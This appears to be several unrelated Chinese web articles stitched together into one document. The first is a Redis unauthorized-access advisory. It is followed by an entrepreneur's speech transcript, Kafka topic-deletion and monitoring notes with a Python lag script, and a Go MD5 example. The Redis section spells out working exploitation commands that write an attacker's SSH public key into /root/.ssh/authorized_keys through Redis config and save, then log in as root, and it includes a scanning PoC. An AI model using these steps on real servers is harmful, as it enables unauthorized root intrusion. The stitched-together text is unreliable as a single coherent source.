漏洞概要

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

漏洞详情

漏洞概述

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

 

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因，部分Redis 绑定在0.0.0.0:6379，并且没有开启认证（这是Redis的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，将会导致Redis服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 

利用Redis自身的相关方法，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示，有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示：

总的存在无验证可直接利用 Redis 服务的目标全球有49099，其中中国有16477。其中被明着写入crackit的，也就是已经被黑的比例分别是全球65%（3.1万），中国67.5%（1.1万）。

1.1. 漏洞分析与利用
首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

OK

$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

OK

$ 192.168.1.11:6379> save

OK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里，然后攻击者直接执行：

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。
 
当然，写入的目录不限于/root/.ssh 下的authorized_keys，也可以写入用户目录，不过Redis很多以root权限运行，所以写入root目录下，可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库，保存着各种各样的数据，如果存在未授权访问的情况，将会导致数据的泄露，其中包含保存的用户信息等 

代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数，恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

漏洞 PoC

#!/usr/bin/env python

# -[i]- coding:utf-8 -[/i]-



import socket

import urlparse

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register





class TestPOC(POCBase):

    vulID = '89339'

    version = '1'

    author = ['Anonymous']

    vulDate = '2015-10-26'

    createDate = '2015-10-26'

    updateDate = '2015-10-26'

    references = ['http://sebug.net/vuldb/ssvid-89339']

    name = 'Redis 未授权访问 PoC'

    appPowerLink = 'http://redis.io/'

    appName = 'Redis'

    appVersion = 'All'

    vulType = 'Unauthorized access'

    desc = '''

        redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。

    '''

    samples = ['']



    def _verify(self):

        result = {}

        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'

        s = socket.socket()

        socket.setdefaulttimeout(10)

        try:

            host = urlparse.urlparse(self.url).netloc

            port = 6379

            s.connect((host, port))

            s.send(payload)

            recvdata = s.recv(1024)

            if recvdata and 'redis_version' in recvdata:

                result['VerifyInfo'] = {}

                result['VerifyInfo']['URL'] = self.url

                result['VerifyInfo']['Port'] = port

        except:

            pass

        s.close()

        return self.parse_attack(result)



    def _attack(self):

        return self._verify()



    def parse_attack(self, result):

        output = Output(self)

        if result:

            output.success(result)

        else:

            output.fail('Internet nothing returned')

        return output



register(TestPOC)

分享阅读原文：https://www.sebug.net/vuldb/ssvid-89715

      9月24日消息，投资人蔡文胜日前在出席岳麓峰会时发表演讲，表达了自己对于关于创业和投资的一些看法，他认为，创业者绝不能忽视草根及草根联盟的力量。

蔡文胜表示，在创业初期，创业者要考虑市场需求、自身优势、版权和产业链等问题，拿投资不是企业发展的必经之路，互联网和移动互联网时代最重要的三个特点就是强者更强、众包和分享。

同时，蔡文胜认为有三种公司能够获得成功，即能将闲置资源重新优化分配的公司、能将复杂事情简单化的公司和颠覆固有模式的公司，“现有的传统的经济模式其实未来都会被颠覆，看谁能够先进入”，蔡文胜说道。

以下为蔡文胜演讲速记全文：

蔡文胜：尊敬的张迎春市长，尊敬的各位朋友们，其实挺荣幸，这是我第一次来到长沙，我们知道长沙是一个人杰地灵的地方，在整个中国的曾国藩开始，到后面的谭嗣同，到建国的毛泽东，引领着中国的变化，都处在非常前沿的阵地。

今天来到了一个互联网的时代，同样我相信湖南长沙也会带来一个新的时代。为什么会第一次来到长沙呢？因为之前一直错过，这次受到58姚劲波先生的邀请。姚劲波是湖南人，58是最大的同城分类信息，58到家是最大的O2O，有幸成为他的天使投资人，所以我也算是半个湖南人。

刚才主持人说我演讲的主题是“起点宁静（音）”，我觉得大家更关注的是现在，现在是互联网时代，现在是移动互联网时代，现在是O2O的时代，我倒更想跟大家分享我们如何抓住这个浪潮进行创业和投资。因为我本人自己也有创业，有4399，还有美图秀秀等，我就分享一下我创业和投资的一些思考。

我们知道一个人如果开始有一个念头创业，选择一个创业产品和创业的方向非常关键。无论怎么样，你要符合三个要求，你要看一下这个市场上人有没有需求。第二，你要结合自己，有什么样的优势，比如说当时的姚劲波要创造58，如果在长沙创建就不会有今天的58了，因为我们当时在长沙还不具备全国互联网的优势，所以他必须在北京，这就是结合你的优势。最终就是要赚钱，你们经常参加会议，谁拿了钱，烧了多少钱，我们前期必须要投入和烧钱，最终这个企业没有办法赚到钱，无法变成商业模式，一定会死掉的。

我给大家讲一个数字，1998年到现在18年的互联网，所有的VC投资的企业最少是千家，投入的资金是数以千亿，而最终能上市的企业不会超过200家，如果加上并购的也不会超过1千家，也就是说最终成功的概率是非常低的，基本上如果你按上市的标准来讲，1%都远远不够。我们曾经看到拿了无数的钱一起往前烧，最后没有人投钱，还是会死掉的。

第二，尽量没有版权和灰色问题，政府不干涉，竞争对手不强。因为我们都知道在互联网，版权不太考量，如果要把它变成一个公司，变成一个体系的发展，必须尊重知识产权，必须尊重法律法规。所谓的竞争对手不强，比如说我们现在知道QQ非常牛逼，如果你现在再做百度、QQ、阿里的需求，肯定没有办法。比如说你现在要再建立一个同城的的分类信息，58已经在这里，你就很难。因为有58，如果你做O2O有机会，因为O2O涉及到餐饮、健康各个领域，我估计最少是10万亿的产值，这里面的空间就非常大了，你在这里面还是有机会脱颖而出的。
 
第三，利用网络联盟的方式发展，形成产业链。这点我们可以从当时百度的发展起来可以看到，百度在2002年以前自己的官网没有流量，它是帮三大门户提供搜索引擎，到后来建立门户出来。当时他的流量非常少，仍然不如三大门户，当时就找到了好123等网站推流量，然后给他做分成，所以百度就这样慢慢起来。淘宝也是这样的，淘宝是2003年推出来的，当时中国最大电子商务就是意起立克（音），后来卖给夷贝，后来被淘宝颠覆了，淘宝2004年把各种各样的广告买断广告位，后面提出淘宝客联盟，把流量导到淘宝，淘宝里面产生的交易会给你分成。我们知道58同城，58同城当时在全国各地开分公司，就是联盟的方式发展。

也就是说在中国，因为中国地大物博，在发展的过程有时候靠自己的力量很难，在互联网时代你能够快速的通过联盟的方式来壮大，唯一的差别在哪里？比如说中国有很多的消费品，李宁、安踏这种服装，开了几千家的店，差别在像安踏、七匹狼，开每一家店的成本很高，要有房租、人员成本，通过互联网的联盟，你就不要这些，找到小一点的网站，找到各种各样的软件，让他跟你合作，大家分成，你又不用付出代价。

我接触的所有的成功互联网公司，从开始的融资计划，到最后成功经过不断的修改，在创业的过程当中你要不断的改变，不能说你定一个方向，大的方向可以不变，但是在小的细节需要不断的做出修正。

第五，产品名称要容易传播，是吉祥名字、注册商标，一开始因为没有钱，没有资源，所以一开始的时候随便想到一个名字就开始做了。但是当你做大的时候就会发现有非常大的问题，你好不容易想到的名字已经被别人注册商标，要换。或者你好不容易想到的点子，但你没有拿出来，被别人注册专利，反过来你是不合法的。所以对于新创业的，你注册一个新商标，申请一个知识产权花不了多少钱，不到几千元，你应该把这个东西做到前面，说明你更有前瞻性。
 
我跟姚劲波，我们是从做域名开始，我们赚第一桶金以来，我记得15年以前注册一个域名60元，但是所有人都没有意识到这个巨大的机会，因为大家没有意识到我们要卖给别人不容易，比如说588.com，当时花60元就可以了，而现在卖几百万元都可以，这就是机会。所以商标、产权、专利都是非常重要的。

当你想好了创业方向，包括想好了产品开始做起来，你就必须要做营销，营销会涉及五个比较重要的点。第一，你要建立一个品牌，而且为品牌建立一个符号。我们再用58为例。当时其实在中国用两个数字，比如58、51、67、52做网站的非常多，58为什么会脱颖而出呢？除了我们知道58比较顺、通俗，还有一个姚劲波当时就给58定了一个调子，我们要做中国最大的分类信息网站，包括后面的一个非常有名的广告，58是个神奇的网站，就是帮你的产品，帮你的网站定一个符号，哪怕你是很小的产品服务，你都要有一个口号，说明你的性质，而且容易传播，这样会事半功倍。

当时我们创建4399的时候，大概有5亿多的用户，中国5岁到16岁的小孩都在用，当时4399在网站最上面最显目的地方有一个口号，4399是中国最好用的休闲游戏网站，这个口号其实也是说明你网站的性质，让人家能够一目了然。

第二，消费者只使用的理由买单，这点也就是说回到一个广告，广告说得再好，最终要回到产品的本质，所有的用户和消费者为什么要用你这个？

第三，要为用户设计利于口碑传播的台词。韩国靠的是整容，中国只要美图秀秀就够了。

第四，产品需要和用户有情感互动。这点就如同我刚才讲的美图秀秀是2008年推出，它最开始就是一个傻瓜的Photoshop，所有的图片处理需要Photoshop，美图秀秀把复杂的参数和设计改掉，让人家一键修复，包括我们在传播的时候，我们更多的满足客户的需要，然后不断的修改。在这个过程当中我觉得2008年美图秀秀只有十几个人的时候，他们每个星期都会到网吧，甚至到用户的家里询问怎么使用这个产品，这是跟用户情感互动的一部分。

当你的产品想好了，网站也有一定的流量，接下来就要拿钱，但是我在这里要强调一点，拿钱、拿投资是一个锦上添花的事情，但是绝对不是一个必经的道路，也是唯一的道路。当你创业的时候，一定要想如果没有人投你的钱，我也一定能成功，你就抱着这样的信念才能走到最后。当然在这个过程里面，有人给你投钱，你就可以走得更快更远，但如果没有你也一样能走下去，这才是好的心态。

你要见投资人，要有几个准备：

第一，了解你要见的投资人的情况，我经常参加一些会议，碰到有一些创业者发名片，然后给姚劲波换名片，换了名片之后不了了之。你要知道这个会议有什么样的投资人，在会议流程就知道，更多的了解这个投资人的兴趣，包括他喜欢偏好、喜欢投资什么样的项目，投资了什么样的项目，然后跟他谈的时候就拉近了距离。2004年6月的时候我第一次得见IDG熊晓鸽，还有其他人，我就当是上了他们的网站，包括通过谷歌、百度把他们9个人合伙人的生平简历我就知道了熊晓鸽原来是湖南人，然后回来投钱。见我的郭永红原来是在索罗斯基金工作，所以你要找投资人，不仅是投资人和投资机构，要对他先有一个大的了解。

第二，你的计划书尽量简洁，直接切入重点，让投资人有想法跟你见面。我看了很多的商业计划书是这么厚厚的一本，投资人这么短的时间要把你的这么厚的计划书看完，他都把自己搞晕了，所以一般好的商业计划书尽量不超过10页。也就是最快的时间让他切入主题，让他对你产生兴趣。

第三，除了商业计划书，或者有机会直接跟投资人面对面，一般来讲这个见面只会半个小时。如果这半个小时之内你就跟他滔滔不绝的说这个市场前景有多大，我们中国人口有多少，你就把时间浪费掉了，因为投资人比你更了解这个行业的发展，一定更了解这个行业的价值。你一定要在半个小时之内里面尽量搞定他，因为只有半小时让他对你感兴趣，觉得你有意思，才会继续往下投。所以前面半个小时不要说一些堂而皇之的比较空洞的东西。

在整个的计划里面投资人对你最有兴趣，包括决定投你的最关键的是数据，比如说你现在的用户是多少？现在的销售有多少？你的员工有多少？往下的安排时间怎么样？这些数据是最关键的，我一般的建议是你在前面所做的这些数据不管是你收入多少或者用户多少，你应该如实的说明。因为告诉投资人，投资人在这些数据里面考虑的，但有一点对未来的数据可以适当的吹牛，如果你不适当的吹牛，没有办法去说未来的空间有多大，那么投资人就不会对你感兴趣，因为每个投资人更多的是希望投出下一个58同城，甚至是下一个BAT。

如果有了好产品，拿到了钱，恭喜你过了第二关。但创业是九死一生的，拿到钱之后怎么办？我记忆非常深刻的，我当时在2004年我拿到IDG的钱之后，我跟IDG的投资经理两个人在北京到一个大排挡，花了几十块钱庆祝了一下，投资经理说我们应该大吃一顿的。我的心情很沉重，因为之前我自己在干，亏了赚了无所谓，现在IDG投了这么多钱，我突然想我怎么用这个钱来赚钱，包括怎么对你们交待。我相信姚劲波跟我是一样的态度。我拿到钱之后，可能开心也就那么一瞬间，更多的是想把这个钱接下来怎么花，怎么更快的更好把它做好。
 
我觉得拿到投资以后，可能有三点非常重要。

第一，开始对公司进行规范化，不仅是股权、财务、知识产权都要尽量完善，为了加速发展而节省，以后改正成本更高。

第二，市场营销，有了钱可以加大市场营销的投入，快速的建立品牌，同时在这个过程也就能吸引更多的人来加入。

第三，团队建设，我认为最关键，拿了钱就是搭建你整个的团队，因为之前有一些没钱不敢去招的人或者是没钱你不敢去做的细节，都可以开始做尝试。

我这里提了三个门槛，20人、50人跟200人，这个是我自己创业的心得。创业的初期一般几个人开始，为什么是20人、50人、200人？初创企业在20人里面，效率和战斗率是更高的，每个人都可以叫出对方的名字，协同作战能力是最强的时候，那个时候也没有所谓的公司不好的企业文化。大家一般拿到钱之后你会快速的一般突破50人这个槛，50人是开始往公司规范化的标准，我建议不要尽快突破50个人，因为快速突破50人之后你会发现进入新来的员工不认识，会花更多的时间在沟通各个方面。50个人到200人，不但是产品，包括营销，包括你进入一个开始赚钱的阶段，也能把你的企业文化快速奠定的重要的阶段。

一个企业，我们说一个企业的文化是基本上是前面的50个人来奠定的，前面50人从创始人到员工大家的价值取向是什么？大家的相处方法是什么？这会奠定这家公司未来的基调。如果超过200人，首先这个公司你已经进入了一个具备规模的公司，这时候就进入了另外一个范畴，你要引入更多的职业经理人，包括要有分公司，各地的分机构。那时候我想你也要进入更加的升级换代的思想了。

这个部分是我自己一些创业的经验，跟大家分享一下。第一，我们创业要思考3年后整体市场和行业的格局。我们一定有思考的，3年之后的市场有多大？大概怎么样？大部分人想错了，为什么想错了？因为我自己做PPT的时候，我们拿了钱，规划一般是说我现在有50个员工，我认为一年之内要发到200人个员工，3年之内发展到800个员工，今年的收入定的是3千万，明年希望达到1个亿，后年达到3个亿，一般是按照推断式的思考，我认为是错的。我觉得应该站在更高的角度来看这个事情。

比如说10年前，2005年的时候，当时整个中国最领军的互联网企业不是BAT，是搜狐、网易、新浪，当时的BAT刚起来，当时有几个人能够看到BAT成为今天这么巨大的？远远超出三大门户。很多人没有做这样的思考，当时我有做这样的思考，因为曾经投资人问我，如果在中国买股票应该买什么？我当时说阿里当时还没有上市，是百度和腾讯，我当时自己投资了一个杂志，拿了1800万美金，这个项目是死掉了的，我现在回想着跟创始人，我们不要做了，我们这么看好百度和腾讯，1800万就买腾讯的股票了，当时腾讯的股票是15元，现在腾讯的股票是700多元。

比如说O2O大家都知道，你要跟谁合作？你要看比如说想象3年后O2O的市场会是谁的天下？目前处于领先的美团、大众点评、58同城相对领先的平台，滴滴、饿了么，我觉得你们展开想象，包括实际的调查，你要找谁合作，或者找谁来投钱，你就会看得更清楚。

第二，绝对不能忽视草根及草根联盟的力量。当然我们在长沙，其实我们大部分是草根，知道什么是草根？以前叫做个人站长，现在叫做APP开发者，这个其实跟美国有很大的区别，在美国是没有草根和个人站长之说，为什么在中国有？我们知道其实杨致远创建雅虎的时候，他是草根，也是个人站长。扎克伯格也是做个人网站。只是美国的投资体系非常发达，一个网站只要冒尖就马上有人投了，中国实在太大了，十年前VC的投资人只待在北京和上海。现在投资人多了，我们通过各种会议看得到，但是相对于整个中国还是太少了。现在在北上广深，好的二线城市，杭州、厦门、成都同样看到，在长沙还没有一个比较有名的VC在长沙有公司。这就是机会，这是中国的幅员辽阔，人员太多，怎么去草根的力量，我们就套用毛泽东主席说的时候，在中国做农村包围城市的事情。

第三，从来就没有什么开始就牛B的技术，我们在创业的时候人家的技术有多牛B，58同城也好，美图也好，并不是特别的牛B也没有特别高深的技术，所谓的牛B的技术是在你的做的过程当中不断的修正，不断的修改，不断的引入好的技术人员，经过一连串的积累和发展，自然而然就牛B了。

第四，每个杀手级的应用都是一个流量入口，以前在PC时代，每个个人网站都有可能成为流量入口。包括我们知道好123，相信很多人都用过，是广东梅州下面兴宁下面的一个村的一个人做的，好123当时就占据了中国流量入口。在互联网时代，APP都是一个入口，美图秀秀做的时候就是一个P图，发展到今天，我们已经达到8个亿的用户，这其实也在验证这句话。今天是O2O，我也可以肯定的讲，每个O2O垂直领域的未来也可能就是一个好的入口，因为吃喝拉撒、衣食住行是每个人都必须经历的事情，只要抓住某一个点，可能未来它就是一个很重要的入口。随着网络的发展，一定是跟物联网等相结合。如果你占领中国的餐厅跟洗车点，这都可以变成一个重要的入口。

第五，我们在创业的过程，哪怕是开一个小店，开一个O2O的加盟店，没有关系，都是从小开始的，边做一边把项目做起来，完善构想，并同时找到投资。如果你刚创业的公司，创始人跟高管如果拿高工资，最后成功的概率是非常低的，哪怕拿了钱。我觉得这个标准公司如果盈利之后，公司的创始人和高端拿高工资是可以的，或者是用奖金，特别是你是创始人，你想想如果拿高工资，低下的员工拿低工资，大家的心态就不一样了。

第六，刚创业的公司如果创始人和高管拿高工资，最后成功的概率很低。创业过程中忽悠投资也是一种能力的体现。在PC互联网时代，当时李修平做好123，后来被百度收购，我们回头去看，当李修平拿到投资，就不值1200万，可以做成大的公司。好123因为有足够的时间，专注于做一件事，现在根本不行，你出一个创意，出一个产品就有了一个拷贝，所以你更需要拿到投资，快速的把它做大。
 
最后我想分享一下，互联网和移动互联网最重要的几个特点。

对于一些类聚，就是强者更强，快鱼吃慢鱼。我们知道当时三大门户，以美国为例子，美国1999年的时候，美国有四大门户，当时这四大门户都价值上百亿的美金，现在只知道雅虎，这其实就是强者更强的时代。所以我们在做的时候，怎么样能够快速做大？在这个市场中存在，比如前三名，第一名的价值最大，第二、第三名的价值就会递减。

第二就是众包，让更多人为你免费打工。我们知道2005年的时候美国的一个视频分享网站，这个网站当时16.5亿美金卖给谷歌，员工只有38个人，38个人创业用了一年，这是不可思议的，一个公司从1年多30几个人创造一个十几亿美金的市值，窍门在哪里？不是这38个人，因为他的是几百万人，几千万人，这帮人上传视频、分享视频、管理视频，免费为他们打工。在美国今天有一个类同于今天的微信的软件，他已经有9亿的用户，但是到今天他们的员工还没有超过60个人。这也是啊一个典型的让所有人为你打工，每个人每天在分享信息，每个人在互相搭建内容，所以这个公司的价值能达几百亿美金。

第三是分享，也就是我们今天通俗的说法就是社交网络，我们善于利用社交网络来做传播和分享。以前你在长沙开一个店，做广告，你的选择就是上报纸或者是上电视。今天你其实可以找到一些免费的，在58同城里面放，或者是在微信的帐号里面、朋友圈里传播，这就是方向，要善于利用分享的方式。

我们未来的创业我相信大家已经各种各样的有思考，看到不同的一些创业的机会。在未来其实有三个东西会更值得我们去思考。

第一个是能够把闲置资源重新优化分配，比较成功的案例就是UBER，国内成功的就是滴滴、快的。第二是airbnb，是一个很好的平台，把闲置的房子出租给有需要的人，他们的公司都是市值几百亿公司，为什么这些公司先成功？因为他们抓住了人们最需要的，一个是租车和租房。其实我们的运输、物流、餐饮，能不能把闲置的资源重新组合，重新优化，这是非常大的空间，包括今天我说的O2O，也是其中一个范畴。

第二是能够把复杂的事情简易化、功能单一明确。当时三大门户，但是现在进入到个性化的东西，有时候越简单越单一的，反而获得认同。比如说美图秀秀，一个是Snapchat，在中国还没有看到成功的，有模仿的。当时推出一个很简单的过程，两个人聊天，24小时之后聊天消失，获得了非常多的用户，成为facebook非常重要的对手。我们把不能把复杂的事情简单化、简易化，这个市场空间非常大。随着90后、00后，很快进入10后，他们的需求肯定更加的个性化，我们可以做出不同的个性化产品去满足他。

第三，能够改造传统流程颠覆固有模式，这样的公司会胜出。以小米为例，我知道小米是最近中国几年成长最快的公司。比如说以前联想要做一个手机，流程是这样的，他先派出很多专家，很多的市场调查人员到全国各地调查，这个市场有什么样的需求，大家需要什么样的手机，我们要定什么样的价格？反馈回来的专家的意见到杨元庆这里，他来拍板，我们生产什么样的手机，价格定多少元，基本上是这样的。定完之后开始给工厂生产，等生产完之后开始做广告，电视、媒体、报纸各种各样的渠道，甚至雇明星做代言。然后再往下铺渠道，联想更强的就是铺渠道，最终送到消费者手里。

小米其实已经把里面的很多过程减掉了，他先出一个口号，我要为发烧友创造一个手机，底下有一堆人响应，他问你们大概需要什么样的手机？配置需要什么样的？你们对款式有什么的需求？通过微博，下面就有一大堆的意见和评论，这是免费的参谋。然后得出这个市场需要什么样的手机，这个需求有多大，但是他还不确定，还不拍板马上生产。在网上他会说你们要买吗？要买的话就登记，这样的数据更精准了，最终下定我们要做生产，要50万还是100万部手机。包括定价也是通过互联网的这种方式收集，最终定出一个比如当时的1999的价格。等定价完了，大家就变成抢购，他不需要明星代言，不需要渠道，直接工厂发货到用户手里，把中间的流程减掉了，所以能快速

不单单水，未来你们想象一下，这里的空间太大了，现有的传统的经济模式其实未来都会被颠覆，看谁能够先进入。

最后一页是回到开场白，未来的时代是一个未知的时代，未来什么都有可能发生，主持人说到一个理念，2045年零工具人可能超过人类，进入到半人半机械时代。就像《三体》，未来有很多的空间，很多让我们想象，最富有想象的人，最富有挑战的人最终一定会成功的。
 

官方kafka中提供了创建和查看topic的命令:

从0.8的官方文档提供了一个删除topic的命令：

kafka-topics.sh --delete[size=13] [/size]

但是在运行时会报错找不到这个方法。
kafka-topics.sh最终是运行了kafka.admin.TopicCommand这个类，在0.8的源码中这个类中没有找到有delete topic相关的代码。
 
在kafka的admin包下，提供了一个DeleteTopicCommand的类，可以实现删除topic的功能。 
kafka.admin.DeleteTopicCommand 
其中删除topic的具体实现代码如下：

import org.I0Itec.zkclient.ZkClient

import kafka.utils.{Utils, ZKStringSerializer, ZkUtils}

.......

    val topic = options.valueOf(topicOpt)

    val zkConnect = options.valueOf(zkConnectOpt)

    var zkClient: ZkClient = null

    try {

      zkClient = new ZkClient(zkConnect, 30000, 30000, ZKStringSerializer)

      zkClient.deleteRecursive(ZkUtils.getTopicPath(topic))  //其实最终还是通过删除zk里面对应的路径来实现删除topic的功能

      println("deletion succeeded!")

    }

    catch {

      case e: Throwable =>

        println("delection failed because of " + e.getMessage)

        println(Utils.stackTrace(e))

    }

    finally {

      if (zkClient != null)

        zkClient.close()

    }

因为这个命令只会删除zk里面的信息，真实的数据还是没有删除，所以需要登录各个broker,把对应的topic的分区数据目录删除，也可能正因为这一点，delete命令才没有集成到kafka.admin.TopicCommand这个类。
 
Kafka删除的操作，首先，在zookeeper的/admin/delete_topic中添加要删除的topic，此时并不真实删除broker中的数据。

如果Kafka的配置中配置了delete.topic.enable=true，broker检查到zookeeper中的delete_topic中有要删除的项时，才会真实的去删除topic数据。否则（delete.topic.enable=false），topic数据不会被删除。

其实对于大多数用kafka的人来说，一般都会选择两个开源的工具：KafkaOffsetMonitor和kafka-web-console，这两款我都有用过，而且各有优缺点。
 
KafkaOffsetMonitor：最大的好处就是配置简单，只需要配个zookeeper的地址就能用了，坑爹的地方就是不能自动刷新，手动刷新时耗时较长，而且有时候都刷不出来，另外就是图像用了一段时间就完全显示不了了，不知道大家是不是这样。
 
kafka-web-console：相比与前者，数据是落地的，因此刷新较快，而且支持在前端自定义zookeeper的地址，还能列出实时的topic里的具体内容。但是搭建比较复杂，而且github上的默认数据库是H2的，像我们一般用mysql的，还得自己转化。另外在用的过程中，我遇到一个问题，在连接kafka的leader失败的时候，会一直重试，其结果就是导致我kafka的那台机子连接数过高，都到2w了，不知道是不是它的一个bug。
 
而且我们还得关心其他指标吧，http://kafka.apache.org/documentation.html  里的momitor部分不是列出了那么多监控项么，迫不得已，我得靠自己去另辟新法，我现在的做法是用ganglia来做监控。 哈哈，github上一搜，有戏，https://github.com/criteo/kafka-ganglia，只需要在server.properties里添加几个配置项就解决问题了，结果反复试验都没有成功，一看都一年没更新了，估计是版本问题吧，也懒得管他了。
 
当然还有个比较傻一些的办法，用CSVMetricsReporter，在配置文件中开启之后，就会把相应的指标分别写入到csv文件中，然后再用脚本去采集即可，这个的确是可行的，但是对资源的消耗比较大， 等等，不是还有这个嘛https://github.com/adambarthelson/kafka-ganglia  ，用JMXTrans来做，修改kafka配置，将其jmx端口暴露出来，然后用JMXTrans把数据发到ganglia，你的JMXTrans的配置文件可以是这样：
 

{

  "servers": [

    {

      "port": "9999",

      "host": "xxxxxx",

      "queries": [

        {

          "outputWriters": [

            {

              "@class": "com.googlecode.jmxtrans.model.output.GangliaWriter",

              "settings": {

                "groupName": "jvmheapmemory",

                "port": 8649,

                "host": "xxxxx"

              }

            }

          ],

          "obj": "java.lang:type=Memory",

          "resultAlias": "heap",

          "attr": [

            "HeapMemoryUsage",

            "NonHeapMemoryUsage"

          ]

        },

................#[size=16]#其他配置[/size]

]

}

这里可以把http://kafka.apache.org/documentation.html  里列出来的mbean都加入进来，而且jmxtrans还支持GraphiteWriter，这样数据就落地了，你再想怎么处理就很easy啦。

若是你仅仅是想监控lag和logsize这些指标，亦如KafkaOffsetMonitor中展示的那样，这里提供两个方法：

一

用bin/kafka-run-class.sh kafka.tools.ConsumerOffsetChecker --zkconnect localhost:2181 --group test就能列出你想要的，你可以写个脚本去定时获取lag，再制定出大于多少就发告警邮件啊什么的。
 

二

用命令行的方式总感觉不像脚本该做的，有没有client可以去获取呢，答案是有，我就把我用KafkaClient和KazooClient获取lag的脚本贡献给大家吧：

#!/usr/local/bin/python

from kafka.client import KafkaClient

from kafka.consumer import SimpleConsumer

from kazoo.client import KazooClient



# Zookeepers - no need to add ports

zookeepers="localhost"



# Kafka broker

kafka="localhost:9092"



#consumer group

group="test"



if __name__ == '__main__':

    broker = KafkaClient(kafka)  

    lags = {}

    zk = KazooClient(hosts=zookeepers, read_only=True)  #zookeeper客户端，read_only确保不会对zookeeper更改

    zk.start()

    logsize=0

    topics = zk.get_children("/consumers/%s/owners" %(group))

    for topic in topics:

        logsize =0 

        consumer = SimpleConsumer(broker, group, str(topic))

        latest_offset = consumer.pending()

        partitions = zk.get_children("/consumers/%s/offsets/%s" %(group, topic))

        for partition in partitions:

            log = "/consumers/%s/offsets/%s/%s" % (group, topic, partition)

            if zk.exists(log):

                data, stat = zk.get(log)

                logsize += int(data)

        lag = latest_offset - logsize

        lags[topic] = lag

    zk.stop()

上面的lags就是一个当前topic的lag的字典咯，其实大体的逻辑就是通过SimpleConsumer获取到当前的offset，再由KazooClient对zookeeper层层剥皮，获取topic和partition的信息，得到每个partition的logsize后累加与offset比较，就能有lag信息了，之后你想干嘛干嘛了，比如发报警邮件等等。当然也可以像KafkaOffsetMonitor那样做自己的展示了。

分享阅读原文：http://www.opscoder.info/kafka_monitor.html

代码

package main



import (

	"crypto/md5"

	"encoding/hex"

	"fmt"

)



func main() {

	// md5 加密的第一种方法

	srcData := []byte("iyannik0215")

	cipherText1 := md5.Sum(srcData)

	fmt.Printf("md5 encrypto is \"iyannik0215\": %x \n", cipherText1)



	// md5 加密的第二种方法

	hash := md5.New()

	hash.Write(srcData)

	cipherText2 := hash.Sum(nil)

	hexText := make([]byte, 32)

	hex.Encode(hexText, cipherText2)

	fmt.Println("md5 encrypto is \"iyannik0215\":", string(hexText))

}

# 执行结果

md5 encrypto is "iyannik0215": b6b20c73e6bc53bc691a6bb559cf9ca9

md5 encrypto is "iyannik0215": b6b20c73e6bc53bc691a6bb559cf9ca9

不同

解释一下两种加密方式的不一样之处.
第一种加密方法：
第一种加密方法所调用的函数

//Source file src/crypto/md5/md5.go

19	// The size of an MD5 checksum in bytes.

20	const Size = 16



130	// Sum returns the MD5 checksum of the data.

131	func Sum(data []byte) [Size]byte {

132		var d digest

133		d.Reset()

134		d.Write(data)

135		return d.checkSum()

136	}

func Sum(data []byte) [Size]byte
其 [Size]byte 是固定死的.所以说第一种方法返回的是 16长度的数组.
第二种加密方法：

//Source file src/crypto/md5/md5.go

50	// New returns a new hash.Hash computing the MD5 checksum.

51	func New() hash.Hash {

52		d := new(digest)

53		d.Reset()

54		return d

55	}

// 这里只放了函数签名部分, 关于函数具体内容这里就不详细复制了.

51	func New() hash.Hash {}

61	func (d *digest) Write(p []byte) (nn int, err error) {}

90	func (d0 *digest) Sum(in []byte) []byte {}

